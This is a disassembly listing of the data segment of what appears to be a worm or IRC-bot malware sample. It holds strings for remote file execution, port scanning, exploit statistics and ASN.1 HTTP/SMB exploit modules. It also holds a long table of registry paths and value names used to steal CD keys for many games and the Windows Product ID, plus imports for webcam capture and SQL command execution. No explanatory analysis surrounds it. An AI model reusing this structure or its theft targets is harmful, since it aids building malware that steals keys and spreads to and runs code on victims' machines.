		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4234D8	dd 4000500h, 7868746Bh,	0dword_4234E4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00405565o
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_423534	db    2			; DATA XREF: seg000:0040549Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 10h
dword_423570	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: seg000:0040547Fo
unk_423584	db    2			; DATA XREF: seg000:00405424o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_4235D8	db    2			; DATA XREF: seg000:00405240o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_423628	db    2			; DATA XREF: seg000:00405150o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_2	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: seg000:004050F5o
		align 4
aAsn1http_0	db 'asn1http',0         ; DATA XREF: sub_405C33+164o
		align 2
aAsn1http	db 'asn1http',0         ; DATA XREF: sub_4032B0+1C8o
		align 4
		dd 5 dup(0)
dword_4236A0	dd 50h							; seg000:0040E2E2r ...
off_4236A4	dd offset sub_4032B0	; DATA XREF: sub_405C33+1E6r
dword_4236A8	dd 0							; sub_4032B0+202r ...
dword_4236AC	dd 1		dword_4236B0	dd 1		aAsn1smb	db 'asn1smb',0
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 4032B0h, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	4032B0h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		db 2 dup(0)
byte_42373A	db 1			; DATA XREF: seg000:loc_40FE5Er
					; seg000:0040FE68o
aAsn1http_1	db 'asn1http',0
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_4055DD+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_4055DD+42o
		align 4
unk_423774	db    2			; DATA XREF: sub_4055DD+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4237AC	db    2			; DATA XREF: sub_4056A7+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_4237E0	db    2			; DATA XREF: sub_4056A7+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_423814	db    2			; DATA XREF: sub_40571E+36Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
dword_42385C	dd 28026502h, 62302E31h, 20282029h, 70747468h, 1F6D2E64h
					; DATA XREF: sub_40571E+307o
					; seg000:00410398o
		dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h,	6C207265h
		dd 65747369h, 676E696Eh, 206E6F20h, 203A5049h, 253A7325h
		dd 44202C64h, 63657269h, 79726F74h, 7325203Ah, 2E5Ch, 28026502h
		dd 62302E31h, 20282029h, 2E707466h, 1F641F6Dh, 2029206Ch
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 65732074h, 72657672h, 7265202Ch, 3A726F72h, 64253C20h
		dd 2E3Eh, 28026502h, 62302E31h,	20282029h, 2E707466h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	65532020h, 72657672h, 61747320h
		dd 64657472h, 206E6F20h, 74726F50h, 6425203Ah, 6946202Ch
		dd 203A656Ch, 202C7325h, 75716552h, 3A747365h, 2E732520h
		dd 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_0	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42398C	db    2			; DATA XREF: seg000:00410222o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStartedO	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_405AFA+38o
					; sub_408619+46o
unk_4239EC	db    2			; DATA XREF: sub_405C33+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_423A28	db    2			; DATA XREF: sub_405C33+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_423A78	db    2			; DATA XREF: sub_405E47+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_423AD0	db    2			; DATA XREF: sub_405E47+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_423B20	db    2			; DATA XREF: sub_405E47+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_423B6C	db    2			; DATA XREF: sub_405E47+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_423BB8	db    2			; DATA XREF: sub_4060A6+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 4
unk_423C08	db    2			; DATA XREF: sub_4060A6+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_423C60	db    2			; DATA XREF: seg000:004063D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_423CB4	db    2			; DATA XREF: seg000:0040630Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_423D0C	db    2			; DATA XREF: seg000:00406664o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_3	db 'Failed to start server on Port %d.',0
		align 10h
unk_423D50	db    2			; DATA XREF: seg000:00406641o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start client thread, error: <%d>.',0
unk_423D9C	db    2			; DATA XREF: seg000:004065C6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_423DF4	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: seg000:0040655Ao
					; seg000:00410BDBo
		dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h,	73207265h
		dd 74726174h, 6F206465h, 25203A6Eh, 64253A73h, 2Eh, 28026502h
		dd 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h, 206C1F64h
		dd 0BB022029h, 202002BBh, 6F727245h, 46203A72h,	656C6961h
		dd 6F742064h, 6E6F6320h, 7463656Eh, 206F7420h, 67726174h
		dd 202C7465h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
		dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	46203A72h
		dd 656C6961h, 6F742064h, 65706F20h, 6F73206Eh, 74656B63h
		dd 202C2928h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
		dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_423F2C	dd offset aSoftwareValveC ; DATA XREF: sub_406A7B+Cr
					; sub_406A7B+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_423F38	dd 2 dup(0)			dd 80000001h, 4250C0h, 4250B4h,	4250A4h, 2 dup(0)
		dd 80000001h, 425084h, 425080h,	42506Ch, 2 dup(0)
		dd 80000001h, 425048h, 425080h,	42503Ch, 2 dup(0)
		dd 80000001h, 425018h, 425010h,	424FFCh, 2 dup(0)
		dd 80000001h, 424FE8h, 424FD8h,	424FBCh, 2 dup(0)
		dd 80000001h, 424F78h, 425100h,	424F64h, 2 dup(0)
		dd 80000002h, 424F38h, 424F2Ch,	424F0Ch, 2 dup(0)
		dd 80000002h, 424ED8h, 425100h,	424EC0h, 2 dup(0)
		dd 80000002h, 424E8Ch, 425100h,	424E74h, 2 dup(0)
		dd 80000002h, 424E5Ch, 425100h,	424E44h, 2 dup(0)
		dd 80000002h, 424E08h, 42E348h,	424DF8h, 2 dup(0)
		dd 80000002h, 424DC0h, 42E348h,	424DACh, 2 dup(0)
		dd 80000002h, 424D60h, 42E348h,	424D40h, 2 dup(0)
		dd 80000002h, 424CF0h, 42E348h,	424CC4h, 2 dup(0)
		dd 80000002h, 424C88h, 42E348h,	424C74h, 2 dup(0)
		dd 80000002h, 424C3Ch, 42E348h,	424C2Ch, 2 dup(0)
		dd 80000002h, 424BDCh, 42E348h,	424BB0h, 2 dup(0)
		dd 80000002h, 424B70h, 42E348h,	424B54h, 2 dup(0)
		dd 80000002h, 424B24h, 42E348h,	424B04h, 2 dup(0)
		dd 80000002h, 424AC8h, 42E348h,	424AB4h, 2 dup(0)
		dd 80000002h, 424A6Ch, 42E348h,	424A4Ch, 2 dup(0)
		dd 80000002h, 4249F8h, 42E348h,	4249C8h, 2 dup(0)
		dd 80000002h, 424978h, 42E348h,	42494Ch, 2 dup(0)
		dd 80000002h, 42490Ch, 424904h,	4248E4h, 2 dup(0)
		dd 80000002h, 4248A0h, 42E348h,	424884h, 2 dup(0)
		dd 80000002h, 424838h, 42E348h,	424814h, 2 dup(0)
		dd 80000002h, 4247E0h, 42E348h,	4247D4h, 2 dup(0)
		dd 80000002h, 4247A0h, 42E348h,	424794h, 2 dup(0)
		dd 80000002h, 424760h, 42E348h,	424754h, 2 dup(0)
		dd 80000002h, 424720h, 42E348h,	424714h, 2 dup(0)
		dd 80000002h, 4246D8h, 42E348h,	4246C4h, 2 dup(0)
		dd 80000002h, 424688h, 42E348h,	424674h, 2 dup(0)
		dd 80000002h, 424644h, 425100h,	424628h, 2 dup(0)
		dd 80000002h, 424608h, 424600h,	4245DCh, 2 dup(0)
		dd 80000002h, 4245C0h, 424600h,	4245A0h, 2 dup(0)
		dd 80000002h, 424580h, 424600h,	42455Ch, 2 dup(0)
		dd 80000002h, 424544h, 424600h,	424540h, 2 dup(0)
		dd 80000002h, 424524h, 424514h,	42450Ch, 2 dup(0)
		dd 80000002h, 4244D8h, 4244D4h,	4244BCh, 2 dup(0)
		dd 80000002h, 424480h, 424474h,	42444Ch, 42443Ch, 424428h
		dd 80000002h, 424404h, 4243F8h,	4243E4h, 4243D4h, 4243CCh
		dd 80000002h, 424404h, 4243F8h,	4243A0h, 4243D4h, 424398h
		dd 80000002h, 424404h, 4243F8h,	424368h, 4243D4h, 424360h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00423F34o
aCdkey		db 'CDKey',0            ; DATA XREF: seg002:00423F30o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_423F2Co
		align 10h
asc_425130:				; DATA XREF: sub_406A7B+E9o
					; sub_406A7B+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_406A7B+8Fo
					; seg000:loc_40F7B3o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_406A7B+7Eo
					; seg000:00406D8Do ...
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_406A7B+2Bo
		align 4
unk_425154	db    2			; DATA XREF: sub_406C30+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_425188	db    2			; DATA XREF: sub_406C30+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: seg000:00406E4Fo
		align 4
aS_3		db '%s\*',0             ; DATA XREF: seg000:00406D62o
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_406E9A+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_406E9A+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_406E9A:loc_407AD5o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_406E9A+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_406E9A+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_406E9A+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_406E9A+BBFo
		align 10h
